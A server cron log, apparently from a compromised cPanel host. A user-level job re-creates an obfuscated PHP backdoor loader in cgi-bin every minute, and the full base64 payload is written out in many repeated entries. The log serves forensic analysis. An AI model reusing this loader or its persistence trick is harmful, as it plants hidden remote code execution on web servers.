Sep  4 07:27:01 server CROND[21381]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:27:01 server CROND[21382]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 07:27:01 server CROND[21383]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:28:02 server CROND[21856]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 07:28:02 server CROND[21857]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:28:02 server CROND[21858]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:29:01 server CROND[22230]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 07:29:01 server CROND[22229]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:29:01 server CROND[22231]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:30:01 server CROND[22619]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 07:30:01 server CROND[22620]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:30:01 server CROND[22623]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 07:30:01 server CROND[22622]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 07:30:01 server CROND[22626]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 07:30:01 server CROND[22628]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 07:30:01 server CROND[22624]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:30:01 server CROND[22625]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 07:31:01 server CROND[23626]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 07:31:01 server CROND[23628]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:31:01 server CROND[23627]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:32:01 server CROND[24071]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:32:01 server CROND[24072]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:32:01 server CROND[24073]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 07:33:01 server CROND[24560]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 07:33:01 server CROND[24561]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:33:01 server CROND[24562]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:34:01 server CROND[24941]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:34:01 server CROND[24940]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 07:34:01 server CROND[24942]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:35:01 server CROND[25337]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 07:35:01 server CROND[25345]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 07:35:01 server CROND[25354]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:35:01 server CROND[25371]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 07:35:01 server CROND[25368]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 07:35:01 server CROND[25370]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 07:35:01 server CROND[25373]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 07:35:01 server CROND[25372]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  4 07:35:01 server CROND[25369]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:36:01 server CROND[26207]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:36:01 server CROND[26208]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 07:36:01 server CROND[26209]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:37:01 server CROND[26590]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 07:37:01 server CROND[26591]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:37:01 server CROND[26592]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:38:01 server CROND[26968]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:38:01 server CROND[26969]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 07:38:01 server CROND[26971]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:39:01 server CROND[27454]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:39:01 server CROND[27455]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 07:39:01 server CROND[27456]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
